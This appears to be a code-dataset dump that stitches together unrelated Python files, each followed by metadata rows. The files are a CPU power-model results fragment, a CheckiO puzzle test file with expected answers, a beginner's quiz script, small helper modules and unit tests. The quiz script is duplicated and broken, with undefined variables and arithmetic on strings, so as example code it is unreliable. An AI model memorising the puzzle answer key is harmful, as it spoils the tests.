'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0151782,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 0.965461,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.0306443,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.0515519,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 3.23083,
'Instruction Fetch Unit/Runtime Dynamic': 0.0980144,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932286,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.0394879,
'L2/Runtime Dynamic': 0.0245386,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80901,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 1.58363,
'Load Store Unit/Data Cache/Runtime Dynamic': 0.224786,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0350888,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.0112103,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.0112104,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 1.63656,
'Load Store Unit/Runtime Dynamic': 0.291282,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.0276427,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.0552857,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591321,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283293,
'Memory Management Unit/Area': 0.4339,
'Memory Management Unit/Dtlb/Area': 0.0879726,
'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729,
'Memory Management Unit/Dtlb/Peak Dynamic': 0.0098105,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0104001,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00808595,
'Memory Management Unit/Itlb/Area': 0.301552,
'Memory Management Unit/Itlb/Gate Leakage': 0.00393464,
'Memory Management Unit/Itlb/Peak Dynamic': 0.0600288,
'Memory Management Unit/Itlb/Runtime Dynamic': 0.00503422,
'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758,
'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.23299,
'Memory Management Unit/Runtime Dynamic': 0.0154343,
'Memory Management Unit/Subthreshold Leakage': 0.0766103,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333,
'Peak Dynamic': 12.9694,
'Renaming Unit/Area': 0.303608,
'Renaming Unit/FP Front End RAT/Area': 0.131045,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123,
'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.113596,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885,
'Renaming Unit/Free List/Area': 0.0340654,
'Renaming Unit/Free List/Gate Leakage': 2.5481e-05,
'Renaming Unit/Free List/Peak Dynamic': 0.0306032,
'Renaming Unit/Free List/Runtime Dynamic': 0.00367881,
'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064,
'Renaming Unit/Gate Leakage': 0.00708398,
'Renaming Unit/Int Front End RAT/Area': 0.0941223,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242,
'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965,
'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.0231765,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228,
'Renaming Unit/Peak Dynamic': 3.58947,
'Renaming Unit/Runtime Dynamic': 0.140451,
'Renaming Unit/Subthreshold Leakage': 0.0552466,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461,
'Runtime Dynamic': 1.53676,
'Subthreshold Leakage': 6.16288,
'Subthreshold Leakage with power gating': 2.55328}],
'DRAM': {'Area': 0,
'Gate Leakage': 0,
'Peak Dynamic': 9.485626734524562,
'Runtime Dynamic': 9.485626734524562,
'Subthreshold Leakage': 4.252,
'Subthreshold Leakage with power gating': 4.252},
'L3': [{'Area': 61.9075,
'Gate Leakage': 0.0484137,
'Peak Dynamic': 0.258042,
'Runtime Dynamic': 0.220704,
'Subthreshold Leakage': 6.80085,
'Subthreshold Leakage with power gating': 3.32364}],
'Processor': {'Area': 191.908,
'Gate Leakage': 1.53485,
'Peak Dynamic': 55.9946,
'Peak Power': 89.1069,
'Runtime Dynamic': 7.44721,
'Subthreshold Leakage': 31.5774,
'Subthreshold Leakage with power gating': 13.9484,
'Total Cores/Area': 128.669,
'Total Cores/Gate Leakage': 1.4798,
'Total Cores/Peak Dynamic': 55.7366,
'Total Cores/Runtime Dynamic': 7.22651,
'Total Cores/Subthreshold Leakage': 24.7074,
'Total Cores/Subthreshold Leakage with power gating': 10.2429,
'Total L3s/Area': 61.9075,
'Total L3s/Gate Leakage': 0.0484137,
'Total L3s/Peak Dynamic': 0.258042,
'Total L3s/Runtime Dynamic': 0.220704,
'Total L3s/Subthreshold Leakage': 6.80085,
'Total L3s/Subthreshold Leakage with power gating': 3.32364,
'Total Leakage': 33.1122,
'Total NoCs/Area': 1.33155,
'Total NoCs/Gate Leakage': 0.00662954,
'Total NoCs/Peak Dynamic': 0.0,
'Total NoCs/Runtime Dynamic': 0.0,
'Total NoCs/Subthreshold Leakage': 0.0691322,
'Total NoCs/Subthreshold Leakage with power gating': 0.0259246}}
| 75.160832
| 124
| 0.682257
| 8,098
| 68,697
| 5.781798
| 0.067671
| 0.123363
| 0.11277
| 0.093291
| 0.937699
| 0.930394
| 0.91743
| 0.886995
| 0.862006
| 0.842848
| 0
| 0.132781
| 0.224042
| 68,697
| 914
| 125
| 75.160832
| 0.745563
| 0
| 0
| 0.642232
| 0
| 0
| 0.656569
| 0.048036
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
308aa4c5895e180364c980dd8111406a40f8c718
| 7,605
|
py
|
Python
|
verification/tests.py
|
CheckiO-Missions/checkio-mission-count-neighbours
|
fc0b75f63203c9d6b41a5269698f5c5c347f4dee
|
[
"MIT"
] | null | null | null |
verification/tests.py
|
CheckiO-Missions/checkio-mission-count-neighbours
|
fc0b75f63203c9d6b41a5269698f5c5c347f4dee
|
[
"MIT"
] | null | null | null |
verification/tests.py
|
CheckiO-Missions/checkio-mission-count-neighbours
|
fc0b75f63203c9d6b41a5269698f5c5c347f4dee
|
[
"MIT"
] | 5
|
2016-07-08T13:34:23.000Z
|
2019-11-24T09:07:42.000Z
|
"""
TESTS is a dict with all you tests.
Keys for this will be categories' names.
Each test is dict with
"input" -- input data for user function
"answer" -- your right answer
"explanation" -- not necessary key, it's using for additional info in animation.
"""
TESTS = {
"Basics": [
{
"input": (
((1, 0, 0, 1, 0),
(0, 1, 0, 0, 0),
(0, 0, 1, 0, 1),
(1, 0, 0, 0, 0),
(0, 0, 1, 0, 0)),
1, 2),
"answer": 3,
},
{
"input": (
((1, 0, 0, 1, 0),
(0, 1, 0, 0, 0),
(0, 0, 1, 0, 1),
(1, 0, 0, 0, 0),
(0, 0, 1, 0, 0)),
0, 0),
"answer": 1,
},
{
"input": (((1, 1, 1),
(1, 1, 1),
(1, 1, 1)), 0, 2),
"answer": 3,
},
{
"input": (((0, 0, 0),
(0, 1, 0),
(0, 0, 0)), 1, 1),
"answer": 0,
},
],
"Extra": [
{
"input": [[[1, 1, 1], [1, 1, 1], [1, 1, 1]], 1, 2],
"answer": 5,
},
{
"input": [[[1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 0, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1]], 5, 5],
"answer": 7,
},
{
"input": [[[1, 0, 1, 0, 1], [0, 1, 0, 1, 0], [1, 0, 1, 0, 1], [0, 1, 0, 1, 0],
[1, 0, 1, 0, 1], [0, 1, 0, 1, 0]], 5, 4],
"answer": 2,
},
{
"input": [[[1, 0, 1, 0, 1], [0, 1, 0, 1, 0], [1, 0, 1, 0, 1], [0, 1, 0, 1, 0],
[1, 1, 1, 0, 1], [0, 1, 0, 1, 0]], 5, 0],
"answer": 3,
},
{
"input": [[[1, 1, 1, 0, 1, 1, 1, 0, 0, 1], [1, 0, 0, 1, 1, 1, 1, 1, 0, 0],
[0, 1, 0, 0, 0, 0, 1, 1, 1, 1], [1, 0, 1, 1, 1, 0, 1, 1, 1, 1],
[1, 1, 1, 0, 1, 1, 1, 1, 1, 1], [0, 0, 0, 1, 1, 1, 1, 1, 1, 1],
[1, 0, 1, 1, 0, 0, 0, 1, 1, 1], [0, 0, 1, 0, 0, 1, 0, 0, 1, 0],
[1, 0, 0, 0, 0, 1, 1, 1, 0, 1], [1, 1, 0, 1, 1, 0, 1, 1, 0, 0]], 5, 6],
"answer": 6,
},
{
"input": [[[0, 1, 1, 0, 0, 0, 1, 1, 1, 1], [0, 0, 0, 1, 1, 0, 0, 1, 1, 0],
[1, 0, 1, 1, 0, 0, 0, 1, 0, 1], [1, 0, 1, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 1, 1, 1, 0, 0, 1, 1, 0], [1, 1, 1, 0, 0, 1, 0, 1, 1, 1],
[0, 0, 1, 0, 1, 1, 1, 0, 1, 1], [0, 1, 0, 1, 0, 0, 1, 0, 1, 1],
[0, 1, 1, 0, 0, 0, 1, 1, 0, 0], [0, 1, 1, 0, 1, 1, 1, 0, 0, 1]], 7, 6],
"answer": 4,
},
{
"input": [[[1, 0, 0, 0, 1, 0, 0, 1, 1, 0], [0, 1, 0, 1, 0, 1, 1, 0, 0, 1],
[1, 1, 1, 1, 0, 1, 0, 0, 0, 1], [0, 0, 1, 1, 0, 1, 0, 0, 0, 1],
[1, 1, 0, 1, 1, 0, 1, 0, 0, 1], [0, 1, 1, 1, 0, 0, 1, 1, 1, 0],
[1, 1, 1, 0, 0, 0, 0, 0, 1, 1], [0, 0, 0, 1, 0, 1, 0, 0, 1, 1],
[0, 0, 0, 1, 0, 1, 0, 1, 0, 1], [1, 1, 0, 0, 0, 1, 0, 1, 1, 1]], 9, 8],
"answer": 4,
},
{
"input": [[[1, 1, 0, 1, 0, 0, 0, 1, 1, 0], [1, 1, 1, 0, 0, 0, 1, 0, 1, 1],
[0, 1, 0, 0, 1, 0, 1, 0, 1, 0], [0, 1, 0, 1, 0, 0, 0, 1, 1, 1],
[1, 0, 1, 1, 1, 1, 0, 1, 1, 0], [1, 1, 1, 0, 0, 0, 0, 0, 1, 1],
[0, 1, 0, 0, 0, 0, 1, 0, 0, 0], [1, 1, 0, 0, 1, 1, 0, 0, 0, 1],
[0, 1, 0, 1, 0, 0, 0, 1, 0, 0], [1, 0, 1, 0, 0, 0, 1, 1, 1, 1]], 9, 7],
"answer": 3,
},
{
"input": [[[0, 1, 1, 1, 1, 0, 0, 0, 1, 0], [1, 0, 0, 0, 1, 1, 0, 0, 0, 1],
[0, 0, 0, 1, 0, 1, 0, 1, 0, 0], [1, 1, 0, 1, 1, 1, 1, 1, 1, 1],
[0, 0, 1, 1, 1, 1, 1, 0, 0, 0], [0, 0, 0, 1, 1, 0, 0, 0, 1, 1],
[0, 0, 0, 0, 0, 1, 1, 0, 1, 1], [0, 0, 0, 0, 1, 1, 1, 0, 0, 0],
[0, 1, 1, 1, 0, 0, 1, 0, 1, 1], [1, 0, 0, 0, 0, 0, 0, 1, 0, 0]], 7, 5],
"answer": 5,
},
{
"input": [[[0, 0, 0, 0, 0, 1, 0, 0, 1, 0], [1, 1, 0, 1, 0, 1, 0, 0, 0, 0],
[0, 1, 1, 0, 0, 1, 1, 1, 1, 0], [0, 1, 0, 1, 0, 0, 0, 1, 1, 1],
[0, 0, 1, 0, 1, 1, 1, 0, 1, 1], [0, 1, 0, 1, 0, 0, 1, 1, 1, 0],
[0, 1, 1, 0, 0, 1, 0, 1, 0, 0], [0, 1, 0, 1, 1, 1, 1, 1, 0, 1],
[0, 1, 1, 0, 1, 0, 0, 0, 1, 1], [0, 1, 0, 0, 0, 1, 1, 1, 0, 0]], 7, 2],
"answer": 6,
},
{
"input": [[[1, 1, 1, 1, 0, 1, 1, 0, 0, 0], [0, 1, 1, 1, 1, 0, 1, 1, 0, 0],
[0, 0, 0, 0, 1, 1, 0, 0, 1, 0], [1, 1, 1, 1, 0, 1, 0, 0, 0, 0],
[0, 1, 0, 0, 1, 1, 0, 0, 1, 1], [1, 0, 1, 0, 1, 0, 1, 0, 1, 0],
[1, 0, 0, 0, 1, 0, 1, 1, 1, 1], [1, 1, 1, 0, 1, 1, 1, 0, 1, 0],
[0, 1, 0, 0, 0, 1, 0, 1, 1, 1], [0, 0, 1, 1, 0, 0, 0, 1, 0, 0]], 7, 9],
"answer": 5,
},
{
"input": [[[1, 1, 1, 0, 1, 0, 0, 0, 0, 1], [1, 1, 1, 1, 1, 1, 0, 0, 0, 0],
[0, 0, 1, 0, 0, 0, 0, 1, 1, 0], [1, 1, 0, 0, 1, 0, 1, 1, 1, 1],
[0, 0, 0, 1, 0, 1, 0, 1, 1, 1], [0, 1, 0, 0, 1, 0, 0, 1, 0, 0],
[0, 1, 1, 0, 0, 1, 1, 0, 0, 1], [0, 1, 1, 0, 0, 0, 0, 1, 1, 0],
[0, 0, 1, 1, 0, 1, 1, 0, 1, 0], [1, 0, 1, 0, 1, 1, 0, 0, 1, 0]], 2, 9],
"answer": 3,
},
{
"input": [[[0, 0, 1, 0, 1, 1, 0, 1, 1, 1], [0, 0, 1, 0, 0, 1, 1, 1, 0, 1],
[0, 0, 1, 0, 0, 0, 1, 1, 0, 0], [0, 0, 1, 0, 0, 0, 0, 0, 0, 1],
[0, 0, 1, 0, 1, 1, 0, 1, 0, 0], [0, 1, 0, 1, 1, 1, 0, 0, 1, 0],
[1, 0, 0, 1, 1, 0, 0, 1, 0, 1], [0, 1, 1, 0, 0, 1, 1, 0, 0, 0],
[0, 1, 0, 1, 0, 0, 1, 1, 0, 0], [1, 1, 0, 1, 1, 1, 0, 1, 1, 1]], 8, 3],
"answer": 3,
},
{
"input": [[[0, 0, 0, 1, 1, 0, 0, 0, 0, 0], [1, 1, 1, 0, 0, 0, 1, 1, 1, 0],
[1, 1, 0, 1, 0, 0, 0, 1, 0, 0], [1, 0, 0, 0, 0, 1, 1, 0, 0, 0],
[1, 0, 0, 1, 1, 0, 1, 0, 0, 0], [0, 1, 0, 1, 0, 0, 0, 1, 1, 1],
[1, 1, 1, 0, 0, 0, 0, 0, 0, 1], [1, 1, 0, 1, 1, 0, 0, 1, 1, 0],
[0, 1, 0, 1, 0, 1, 0, 0, 0, 1], [1, 1, 1, 0, 1, 1, 0, 0, 0, 0]], 5, 1],
"answer": 4,
},
{
"input": [[[0, 1, 0, 1, 0, 1, 0, 0, 1, 1], [0, 1, 1, 0, 0, 0, 0, 1, 1, 1],
[0, 1, 0, 0, 0, 1, 1, 0, 0, 0], [1, 0, 1, 1, 0, 1, 1, 1, 1, 1],
[0, 1, 0, 0, 1, 1, 0, 0, 1, 0], [0, 1, 1, 1, 1, 0, 1, 0, 0, 0],
[1, 0, 1, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 1, 0, 0, 0, 0, 1, 0],
[0, 1, 0, 1, 0, 0, 1, 1, 1, 1], [1, 0, 0, 0, 1, 0, 0, 1, 0, 0]], 0, 7],
"answer": 3,
},
]
}
| 47.236025
| 94
| 0.239053
| 1,487
| 7,605
| 1.222596
| 0.030935
| 0.426843
| 0.39604
| 0.371837
| 0.805281
| 0.793179
| 0.766777
| 0.765677
| 0.765127
| 0.754125
| 0
| 0.368407
| 0.498882
| 7,605
| 160
| 95
| 47.53125
| 0.108633
| 0.034451
| 0
| 0.214765
| 0
| 0
| 0.029993
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 12
|
30a391a67a897768a9caf7620790b791994b8239
| 3,864
|
py
|
Python
|
match-maker-ces.py
|
carlyshipman/match-maker
|
db30a2078338f0b4dc567871ef85987cf3d7fdc4
|
[
"MIT"
] | null | null | null |
match-maker-ces.py
|
carlyshipman/match-maker
|
db30a2078338f0b4dc567871ef85987cf3d7fdc4
|
[
"MIT"
] | null | null | null |
match-maker-ces.py
|
carlyshipman/match-maker
|
db30a2078338f0b4dc567871ef85987cf3d7fdc4
|
[
"MIT"
] | null | null | null |
#Carly Shipman
#Matchmaker
QUESTION = [
'Ironman is the best MCU character',
'Calculus is dumb',
'Running is really fun',
'Matcha tastes like grass',
'Hippo Campus is the best band ever'
]
DESIRED_RESPONSE =[
5, #strongly agree
1, #strongly disagree
5, #srongly agree
2, #agree
5, #strongly agree
]
INTRODUCTION = '''
Matchmaker 2021
Hello, here you can learn if you and I
are a perfect match! To see, anwser the
following questions with an number 1-5.
1 meaning completely disagree, 3 means
in between,and 5 meaning completely agree.
after completing each question, you will
receive a compability score. The higher,
the more compabitable we are. Good luck!
'''
MAX_SCORE = 5 *len(QUESTION)
response = []
compatability = []
print(INTRODUCTION)
#ask all questions
for i in range(len(QUESTION)):
def requestaValidNumberBetween1and5():
UserResponse2String= str(input(QUESTION[i]))
print("you entered: "+ UserResponse2String)
if not UserResponse2String.isnumeric():
print("This is not a number!")
return False
else:
UserResponse2Int = int(UserResponse2String)
if (UserResponse2Int < 1) or (UserResponse2Int > 5):
print("\n This is not a number between 1 and 5 >:(")
return False
else:
return True
userHasEnteredANumberBetween1and5 = False
while not userHasEnteredANumberBetween1and5:
userHasEnteredANumberBetween1and5 = requestaValidNumberBetween1and5()
print(userHasEnteredANumberBetween1and5)
if not (userHasEnteredANumberBetween1and5):
print("please try again.")
response.append(UserResponse2String)
questionCompatibility = 5 - abs(userResponse2String - DESIRED_RESPONSE[i])
compatability.append(questionCompatibility)
# String formatting with parameters and placeholders.
print('Question %d compatability: %d' % (i+1, questionCompatibility))
#Carly Shipman
#Matchmaker
QUESTION = [
'Ironman is the best MCU character',
'Calculus is dumb',
'Running is really fun',
'Matcha tastes like grass',
'Hippo Campus is the best band ever'
]
DESIRED_RESPONSE =[
5, #strongly agree
1, #strongly disagree
5, #srongly agree
2, #agree
5, #strongly agree
]
INTRODUCTION = '''
Matchmaker 2021
Hello, here you can learn if you and I
are a perfect match! To see, anwser the
following questions with an number 1-5.
1 meaning completely disagree, 3 means
in between,and 5 meaning completely agree.
after completing each question, you will
receive a compability score. The higher,
the more compabitable we are. Good luck!
'''
response = []
compatability = []
print(INTRODUCTION)
#ask all questions
def requestaValidNumberBetween1and5():
for i in range(len(QUESTION)):
UserResponse2String= str(input(QUESTION[i]))
print("you entered: "+ UserResponse2String)
if not UserResponse2String.isnumeric():
print("This is not a number!")
return False
else:
UserResponse2Int = int(UserResponse2String)
if (UserResponse2Int < 1) or (UserResponse2Int > 5):
print("\n This is not a number between 1 and 5 >:(")
return False
else:
return True
userHasNotEnteredANumberBetween1and5 = False
while not userHasNotEnteredANumberBetween1and5:
userHasNotEnteredANumberBetween1and5 = requestaValidNumberBetween1and5()
print(userHasNotEnteredANumberBetween1and5)
if not (userHasNotEnteredANumberBetween1and5):
print("please try again.")
response.append(UserResponse2String)
questionCompatibility = 5 - abs(userResponse2String - DESIRED_RESPONSE[i])
compatability.append(questionCompatibility)
# String formatting with parameters and placeholders.
print('Question %d compatability: %d' % (i+1, questionCompatibility))
| 25.932886
| 76
| 0.709627
| 421
| 3,864
| 6.501188
| 0.266033
| 0.007307
| 0.013153
| 0.014615
| 0.802338
| 0.802338
| 0.786262
| 0.747534
| 0.747534
| 0.747534
| 0
| 0.028506
| 0.210145
| 3,864
| 148
| 77
| 26.108108
| 0.868283
| 0
| 0
| 0.857143
| 0
| 0
| 0.35124
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0.133333
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
30de96addc5feb20b87eaa8052224b3725583312
| 104
|
py
|
Python
|
vea/tools/__init__.py
|
AP-Atul/Video-Editing-Automation
|
cadf3e66f208737c1a273b958c4654a3d08f4f71
|
[
"MIT"
] | 18
|
2020-01-14T08:25:02.000Z
|
2021-12-31T02:04:11.000Z
|
vea/tools/__init__.py
|
AP-Atul/Video-Editing-Automation
|
cadf3e66f208737c1a273b958c4654a3d08f4f71
|
[
"MIT"
] | null | null | null |
vea/tools/__init__.py
|
AP-Atul/Video-Editing-Automation
|
cadf3e66f208737c1a273b958c4654a3d08f4f71
|
[
"MIT"
] | 1
|
2021-02-06T21:39:15.000Z
|
2021-02-06T21:39:15.000Z
|
from vea.tools.timestamps import *
from vea.tools.video_get import *
from vea.tools.video_show import *
| 26
| 34
| 0.798077
| 17
| 104
| 4.764706
| 0.470588
| 0.259259
| 0.444444
| 0.444444
| 0.567901
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.115385
| 104
| 3
| 35
| 34.666667
| 0.880435
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
30f7beca4160ec44ad662d101ce409692c9014e0
| 196
|
py
|
Python
|
mrbuilder/builders/pytorch/layer_registry.py
|
mrb1778/MrBuilder
|
c11a6ce263d7f53f388794f2794a8fcfb0bb3145
|
[
"MIT"
] | 1
|
2019-06-15T02:34:16.000Z
|
2019-06-15T02:34:16.000Z
|
mrbuilder/builders/pytorch/layer_registry.py
|
mrb1778/MrBuilder
|
c11a6ce263d7f53f388794f2794a8fcfb0bb3145
|
[
"MIT"
] | null | null | null |
mrbuilder/builders/pytorch/layer_registry.py
|
mrb1778/MrBuilder
|
c11a6ce263d7f53f388794f2794a8fcfb0bb3145
|
[
"MIT"
] | null | null | null |
from mrbuilder.layer_registry import register_layer_wrapper
registered_layers = {}
def register_layer(name: str, *aliases):
return register_layer_wrapper(registered_layers, name, *aliases)
| 24.5
| 68
| 0.811224
| 24
| 196
| 6.291667
| 0.583333
| 0.258278
| 0.264901
| 0.397351
| 0.476821
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.112245
| 196
| 7
| 69
| 28
| 0.867816
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0.25
| 0.75
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 8
|
30f8f6183106549561108c796f7c7393237a67b0
| 12,405
|
py
|
Python
|
tests/test_experiment/test_training_history.py
|
mv1388/AIToolbox
|
c64ac4810a02d230ce471d86b758e82ea232a7e7
|
[
"MIT"
] | 3
|
2019-10-12T12:24:09.000Z
|
2020-08-02T02:42:43.000Z
|
tests/test_experiment/test_training_history.py
|
mv1388/aitoolbox
|
1060435e6cbdfd19abcb726c4080b663536b7467
|
[
"MIT"
] | 3
|
2020-04-10T14:07:07.000Z
|
2020-04-22T19:04:38.000Z
|
tests/test_experiment/test_training_history.py
|
mv1388/aitoolbox
|
1060435e6cbdfd19abcb726c4080b663536b7467
|
[
"MIT"
] | null | null | null |
import unittest
from aitoolbox.experiment.training_history import TrainingHistory
class TestWrapPrePreparedTrainingHistory(unittest.TestCase):
def test_abstract_callback_has_hook_methods(self):
history = {'val_loss': [2.2513437271118164, 2.1482439041137695, 2.0187528133392334, 1.7953970432281494,
1.5492324829101562, 1.715561032295227, 1.631982684135437, 1.3721977472305298,
1.039527416229248, 0.9796673059463501],
'val_acc': [0.25999999046325684, 0.36000001430511475, 0.5, 0.5400000214576721, 0.5400000214576721,
0.5799999833106995, 0.46000000834465027, 0.699999988079071, 0.7599999904632568,
0.7200000286102295],
'loss': [2.3088033199310303, 2.2141530513763428, 2.113713264465332, 1.912109375, 1.666761875152588,
1.460097312927246, 1.6031768321990967, 1.534214973449707, 1.1710081100463867,
0.8969314098358154],
'acc': [0.07999999821186066, 0.33000001311302185, 0.3100000023841858, 0.5299999713897705,
0.5799999833106995, 0.6200000047683716, 0.4300000071525574, 0.5099999904632568,
0.6700000166893005, 0.7599999904632568]}
train_hist = TrainingHistory().wrap_pre_prepared_history(history)
self.assertEqual(train_hist.get_train_history(),
history)
self.assertEqual(train_hist.train_history,
history)
def test_trigger_exception_history_records(self):
history = {'val_loss': [2.2513437271118164, 2.1482439041137695, 2.0187528133392334, 1.7953970432281494,
1.5492324829101562, 1.715561032295227, 1.631982684135437, 1.3721977472305298,
1.039527416229248, 0.9796673059463501],
'val_acc': [0.25999999046325684, 0.36000001430511475, 0.5, 0.5400000214576721, 0.5400000214576721,
0.5799999833106995, 0.46000000834465027],
'loss': [2.3088033199310303, 2.2141530513763428, 2.113713264465332, 1.912109375, 1.666761875152588,
1.460097312927246, 1.6031768321990967, 1.534214973449707, 1.1710081100463867,
0.8969314098358154],
'acc': [0.07999999821186066, 0.33000001311302185, 0.3100000023841858, 0.5299999713897705,
0.5799999833106995, 0.6200000047683716, 0.4300000071525574, 0.5099999904632568,
0.6700000166893005, 0.7599999904632568]}
train_hist = TrainingHistory(strict_content_check=True).wrap_pre_prepared_history(history)
with self.assertRaises(ValueError):
train_hist.qa_check_history_records()
class TestTrainingHistory(unittest.TestCase):
def test_init(self):
th = TrainingHistory(has_validation=True)
self.assertEqual(th.train_history, {'loss': [], 'accumulated_loss': [], 'val_loss': []})
self.assertEqual(th.train_history, th.empty_train_history)
th = TrainingHistory(has_validation=False)
self.assertEqual(th.train_history, {'loss': [], 'accumulated_loss': []})
self.assertEqual(th.train_history, th.empty_train_history)
th = TrainingHistory()
self.assertEqual(th.train_history, {'loss': [], 'accumulated_loss': [], 'val_loss': []})
self.assertFalse(th.strict_content_check)
